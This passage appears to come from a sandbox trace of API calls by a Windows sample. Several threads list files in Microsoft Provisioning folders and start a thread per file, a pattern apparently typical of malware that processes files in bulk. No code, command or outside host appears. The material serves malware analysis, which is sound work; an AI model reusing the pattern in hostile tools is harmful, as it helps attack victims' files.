ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.755] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.755] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476ca0 [0077.755] wcscpy (in: _Dest=0x3476ca0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0077.755] wcscat (in: _Dest=0x3476ca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0077.755] wcscat (in: _Dest=0x3476ca0, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" [0077.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0077.756] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.756] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.756] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.756] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428d70 [0077.756] wcscpy (in: _Dest=0x3428d70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0077.756] wcscat (in: _Dest=0x3428d70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0077.756] wcscat (in: _Dest=0x3428d70, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0077.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3428d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0077.757] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.757] FindClose (in: hFindFile=0x3434728 | out: hFindFile=0x3434728) returned 1 [0077.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec828) returned 1 [0077.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0540) returned 1 [0077.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cef58) returned 1 [0077.757] RtlExitUserThread (Status=0x0) Thread: id = 699 os_tid = 0x1270 [0074.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f05f0 [0074.882] wcscpy (in: _Dest=0x33f05f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0074.882] wcscat (in: _Dest=0x33f05f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0074.883] wcscat (in: _Dest=0x33f05f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*" [0074.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eca90 [0074.883] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*", lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34347a8 [0074.883] wcscmp (_String1=".", _String2=".") returned 0 [0074.883] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.883] wcscmp (_String1="..", _String2=".") returned 1 [0074.883] wcscmp (_String1="..", _String2="..") returned 0 [0074.883] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fedfc8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.883] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.883] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x34349c8 [0074.883] wcscpy (in: _Dest=0x34349c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0074.883] wcscat (in: _Dest=0x34349c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0074.883] wcscat (in: _Dest=0x34349c8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" [0076.623] Sleep (dwMilliseconds=0x1) [0077.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34349c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0077.751] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.752] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.752] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476bc8 [0077.752] wcscpy (in: _Dest=0x3476bc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0077.752] wcscat (in: _Dest=0x3476bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0077.752] wcscat (in: _Dest=0x3476bc8, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" [0077.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0077.752] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.752] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.753] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428cb8 [0077.753] wcscpy (in: _Dest=0x3428cb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0077.753] wcscat (in: _Dest=0x3428cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0077.753] wcscat (in: _Dest=0x3428cb8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0077.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3428cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0077.753] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x33eca90 | out: lpFindFileData=0x33eca90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.753] FindClose (in: hFindFile=0x34347a8 | out: hFindFile=0x34347a8) returned 1 [0077.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eca90) returned 1 [0077.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f05f0) returned 1 [0077.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf4d8) returned 1 [0077.754] RtlExitUserThread (Status=0x0) Thread: id = 700 os_tid = 0x1274 [0074.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f06a0 [0074.886] wcscpy (in: _Dest=0x33f06a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0074.886] wcscat (in: _Dest=0x33f06a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0074.886] wcscat (in: _Dest=0x33f06a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*" [0074.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eccf8 [0074.886] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*", lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434528 [0074.887] wcscmp (_String1=".", _String2=".") returned 0 [0074.887] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.887] wcscmp (_String1="..", _String2=".") returned 1 [0074.887] wcscmp (_String1="..", _String2="..") returned 0 [0074.887] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.887] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.887] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.887] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3434a98 [0074.887] wcscpy (in: _Dest=0x3434a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0074.887] wcscat (in: _Dest=0x3434a98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0074.887] wcscat (in: _Dest=0x3434a98, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" [0076.623] Sleep (dwMilliseconds=0x1) [0077.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0077.748] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.748] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.748] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x34771b0 [0077.748] wcscpy (in: _Dest=0x34771b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0077.748] wcscat (in: _Dest=0x34771b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0077.748] wcscat (in: _Dest=0x34771b0, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" [0077.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34771b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0077.749] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.749] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.749] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3427c30 [0077.749] wcscpy (in: _Dest=0x3427c30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0077.749] wcscat (in: _Dest=0x3427c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0077.749] wcscat (in: _Dest=0x3427c30, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0077.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0077.750] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33eccf8 | out: lpFindFileData=0x33eccf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.750] FindClose (in: hFindFile=0x3434528 | out: hFindFile=0x3434528) returned 1 [0077.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eccf8) returned 1 [0077.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f06a0) returned 1 [0077.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf6e8) returned 1 [0077.750] RtlExitUserThread (Status=0x0) Thread: id = 701 os_tid = 0x1278 [0074.887] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0750 [0074.888] wcscpy (in: _Dest=0x33f0750, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0074.888] wcscat (in: _Dest=0x33f0750, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0074.888] wcscat (in: _Dest=0x33f0750, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*" [0074.888] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ecf60 [0074.888] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*", lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434028 [0074.888] wcscmp (_String1=".", _String2=".") returned 0 [0074.888] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.889] wcscmp (_String1="..", _String2=".") returned 1 [0074.889] wcscmp (_String1="..", _String2="..") returned 0 [0074.889] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5410decf, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.889] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.889] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) 